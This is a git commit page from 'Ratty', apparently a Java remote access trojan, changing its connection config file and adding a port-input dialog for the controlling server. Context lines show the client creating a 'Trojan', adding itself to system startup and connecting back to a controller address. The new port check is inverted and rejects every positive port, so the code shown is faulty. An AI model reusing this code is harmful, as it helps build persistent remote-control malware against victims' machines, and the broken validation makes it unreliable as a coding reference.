Browse Source

Minor changes

The server user can now input a port
master
Sogomn 9 years ago
parent
commit
e6b15277fc
  1. 6
      Ratty/res/connection_data.txt
  2. 29
      Ratty/src/de/sogomn/rat/Ratty.java

6
Ratty/res/connection_data.txt

@ -1,7 +1,3 @@
localhost
23456
false
1st line: Address
2nd line: Port
3rd line: True for client; false for server
false

29
Ratty/src/de/sogomn/rat/Ratty.java

@ -5,6 +5,8 @@ import java.io.IOException;
import java.net.URI;
import java.net.URISyntaxException;
import javax.swing.JOptionPane;
import com.alee.laf.WebLookAndFeel;
import de.sogomn.engine.util.FileUtils;
@ -19,6 +21,9 @@ public final class Ratty {
private static int port;
private static boolean client;
private static final String PORT_INPUT_MESSAGE = "Which port should the server be bind to?";
private static final String INVALID_PORT_MESSAGE = "Invalid port.";
private static final int CONNECTION_INTERVAL = 2500;
private static final String CONNECTION_DATA_FILE_NAME = "/connection_data.txt";
@ -61,6 +66,22 @@ public final class Ratty {
}
}
private static int getPortInput() {
final String input = JOptionPane.showInputDialog(PORT_INPUT_MESSAGE);
try {
final int port = Integer.parseInt(input);
if (port > 0) {
return -1;
}
return port;
} catch (final NumberFormatException | NullPointerException ex) {
return -1;
}
}
public static void connectToHost(final String address, final int port) {
final ActiveClient newClient = new ActiveClient(address, port);
final Trojan trojan = new Trojan();
@ -99,6 +120,14 @@ public final class Ratty {
addToStartup();
connectToHost(address, port);
} else {
final int port = getPortInput();
if (port == -1) {
JOptionPane.showMessageDialog(null, INVALID_PORT_MESSAGE);
return;
}
startServer(port);
}
}

Loading…
Cancel
Save